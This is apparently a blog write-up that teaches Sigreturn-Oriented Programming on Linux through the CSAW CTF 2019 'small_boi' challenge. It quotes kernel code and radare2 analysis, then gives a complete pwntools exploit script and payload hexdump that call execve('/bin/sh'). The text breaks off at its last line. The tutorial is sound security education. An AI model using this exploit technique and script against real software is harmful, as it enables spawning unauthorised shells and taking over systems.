Recently I’ve discovered a paper that demonstrates a fancy ROP-style exploitation technique for Linux based systems. It’s called Sigreturn-oriented programming (SROP) and was released by two dudes of the Vrije Universiteit Amsterdam in 2014. This post contains background information on this exploitation technique and shows how to pull it off using radare2
and pwntools
.
Sigreturn-Oriented Programming
The cool thing about this technique is that only one or two gadgets are required in order to get control over all registers of the target process. Two preconditions have to be met:
- A
syscall
gadget is available at a predictable location - There’s a way to set the
RAX
register to0xF
SROP abuses the sigreturn()
syscall which normally restores the process context after a signal handler returns. There’s a great article on LWN that explains this really well - I have nothing to add here (and I’m lazy) so I’ll just cite two paragraphs of this article by Jonathan Corbet:
Enter sigreturn()
, a Linux system call that nobody calls directly. When a signal is delivered to a process, execution jumps to the designated signal handler; when the handler is done, control returns to the location where execution was interrupted. Signals are a form of software interrupt, and all of the usual interrupt-like accounting must be dealt with. In particular, before the kernel can deliver a signal, it must make a note of the current execution context, including the values stored in all of the processor registers.
It would be possible to store this information in the kernel itself, but that might make it possible for an attacker (of a different variety) to cause the kernel to allocate arbitrary amounts of memory. So, instead, the kernel stores this information on the stack of the process that is the recipient of the signal. Prior to invoking the signal handler, the kernel pushes an (architecture-specific) variant of the sigcontext
structure onto the process’s stack; this structure contains register information, floating-point status, and more. When the signal handler has completed its job, it calls sigreturn()
, which restores all that information from the on-stack structure.
Ok cool!
The fact that the sigcontext
structure is being passed to the kernel on the stack makes it easy for attackers to send their own sigcontext
along with the remaining payload. Let’s have a look the kernel source code to check what’s going on in detail when pulling this attack off.
The definition of the amd64
version of sigcontext
is present in this source code file of the kernel:
struct sigcontext_64 {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 di;
__u64 si;
__u64 bp;
__u64 bx;
__u64 dx;
__u64 ax;
__u64 cx;
__u64 sp;
__u64 ip;
__u64 flags;
__u16 cs;
__u16 gs;
__u16 fs;
__u16 ss;
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
__u64 fpstate;
__u64 reserved1[8];
};
When executing sigreturn()
, the function restore_sigcontext()
will be eventually be called in the kernel. The implementation can be found here. This is the function prototype:
static int restore_sigcontext(struct pt_regs *regs,
struct sigcontext __user *usc,
unsigned long uc_flags)
The usc
value is a pointer to the user-supplied sigcontext
structure that will be copied to kernel-land at the beginning of the function:
struct sigcontext sc;
[...]
if (copy_from_user(&sc, usc, CONTEXT_COPY_SIZE))
return -EFAULT;
As you can see below, the kernel takes the values of sc
and just copies them to the registers:
[...]
regs->bx = sc.bx;
regs->cx = sc.cx;
regs->dx = sc.dx;
regs->si = sc.si;
regs->di = sc.di;
regs->bp = sc.bp;
regs->ax = sc.ax;
regs->sp = sc.sp;
regs->ip = sc.ip;
[...]
Now imagine an attacker passing a prepared sigcontext
structure to the kernel while exploiting a certain application. After sigreturn()
has finished, the instruction pointer is under control of the attacker. But as you can see, other registers like the stack pointer have also been overwritten and there’s no direct way for the attacker to reliably restore this information. In consequence, there are now two possible options for an attacker:
- The registers are set up in a way that allow executing another syscall, e.g.
execve()
to spawn a shell. - There’s an information leak, so the attacker is able to get more information on the memory layout. One scenario would be to call
mprotect()
on an attacker-controlled memory location with a predictable address and jump to this memory region afterwards in order to execute shellcode.
OK BUT HOW!!1!
This time the target application will be small_boi
, a CTF challenge from the CSAW CTF 2019 qualification round. The binary is available over here.
Now, let’s use radare2
from git and check the binary first:
[0x0040018c]> i
type EXEC (Executable file)
arch x86
bintype elf
bits 64
canary false
pic false
static true
The binary is not position independent and we can therefore predict the addresses of ROP gadgets. Apart from the entry point, there’s only one function present in the binary:
[0x0040018c]> pdf
; CALL XREF from entry0 @ 0x4001b6
;-- rip:
┌ 33: fcn.0040018c ();
│ ; var int64_t var_20h @ rbp-0x20
│ 0x0040018c 55 push rbp
│ 0x0040018d 4889e5 mov rbp, rsp
│ 0x00400190 488d45e0 lea rax, [var_20h]
│ 0x00400194 4889c6 mov rsi, rax
│ 0x00400197 4831c0 xor rax, rax
│ 0x0040019a 4831ff xor rdi, rdi
│ 0x0040019d 48c7c2000200. mov rdx, 0x200
│ 0x004001a4 0f05 syscall
│ 0x004001a6 b800000000 mov eax, 0
│ 0x004001ab 5d pop rbp
└ 0x004001ac c3 ret
[0x0040018c]> .afvd var_20h
0x7ffc881ef7b8 = (qword)0x0000000000000000
The application invokes the read()
syscall (0x0
) with a file descriptor value of 0
, which is equivalent to stdin
. According to the other parameters, it reads 0x200
bytes into the var_20h
buffer.
Hint: Using this table is a convenient way to check syscall numbers and their implementation.
Now let’s determine when the suspected buffer overflow happens. The binary reads from stdin
, so the best way to pass input to the target is by using a rarun2
profile:
cat > profile.rr2 << EOF
#!/usr/bin/rarun2
program=./small_boi
stdin=/tmp/in
EOF
Now fill the input file with a ragg2
pattern, launch r2
and continue until the crash happens:
r2 -A -r profile.rr2 -c "dc" -d small_boi
[0x004001ac]> pd1
│ ;-- rip:
└ 0x004001ac c3 ret
[0x004001ac]> pxw 4@rsp
0x7ffc4f332fb0 0x414f4141 AAOA
[0x004001ac]> wopO 0x414f4141
40
The crash happens at a ret
instruction. The offset can be determined by passing the topmost value of the stack to wopO
, which works with the ragg2
pattern.
Considering that small_boi
is a static binary and relatively small, not many ROP gadgets are available. However, one specific gadget can be of use for SROP:
[0x0040018c]> /R
[...]
0x00400180 b80f000000 mov eax, 0xf
0x00400185 0f05 syscall
0x00400187 90 nop
0x00400188 5d pop rbp
0x00400189 c3 ret
[...]
This is the only gadget required, since it sets EAX
to the syscall number of sigreturn()
and also invokes the syscall afterwards. The only thing left is to append a sigcontext
structure at the end of the payload. The plan is to call execve()
with the argument /bin/sh
. This specific string is already present in the target binary at 0x004001CA
.
The pwntools
framework has some functionality for SROP and also provides a way to generate the sigcontext
structure. The implementation can be found here and it can be integrated into our exploit as follows:
#!/usr/bin/env python3
from pwntools_r2 import *
from pwn import *
context.terminal = ['tmux', 'splitw', '-v']
context.arch = "amd64"
r2script = """
#r2.cmd('aaa')
#r2.cmd('db fcn.0040018c')
#r2.cmd('dc')
#r2.cmd('V!')
"""
frame = SigreturnFrame()
frame.rax = 0x3b # execve syscall number
frame.rdi = 0x004001ca # address of /bin/sh string
frame.rip = 0x00400185 # syscall gadget
payload = b""
payload += b"A" * 40 # offset
payload += p64(0x00400180) # invoke SROP
payload += bytes(frame) # append sigcontext
p = r2dbg('./small_boi', r2script=r2script)
p.sendline(payload) # Send the target payload
p.interactive()
This causes RIP
to point to the SROP invocation gadget after the ret
happens. This is how the whole payload looks like in a hexdump
:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
*
00000020 41 41 41 41 41 41 41 41 80 01 40 00 00 00 00 00 |AAAAAAAA..@.....|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000090 00 00 00 00 00 00 00 00 ca 01 40 00 00 00 00 00 |..........@.....|
000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
000000c0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |;...............|
000000d0 00 00 00 00 00 00 00 00 85 01 40 00 00 00 00 00 |..........@.....|
000000e0 00 00 00 00 00 00 00 00 33 00 00 00 00 00 00 00 |........3.......|
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00000120 00 00 00 00 00 00 00 00 |........|
00000128
Here you can recognize the values that have been set for the frame
variable in the Python code above. One additional value is present at the end: 0x33
. It’s the value of the CS
register which basically sets the CPU in 64 bit mode. This is one of the reasons why the target architecture has to be specified before creating a SigreturnFrame
object with pwntools
.
Here’s what the exploitation looks like, starting from the execution of the vulnerable function. Also notice how the register values change after the syscall
instruction of the SROP gadget: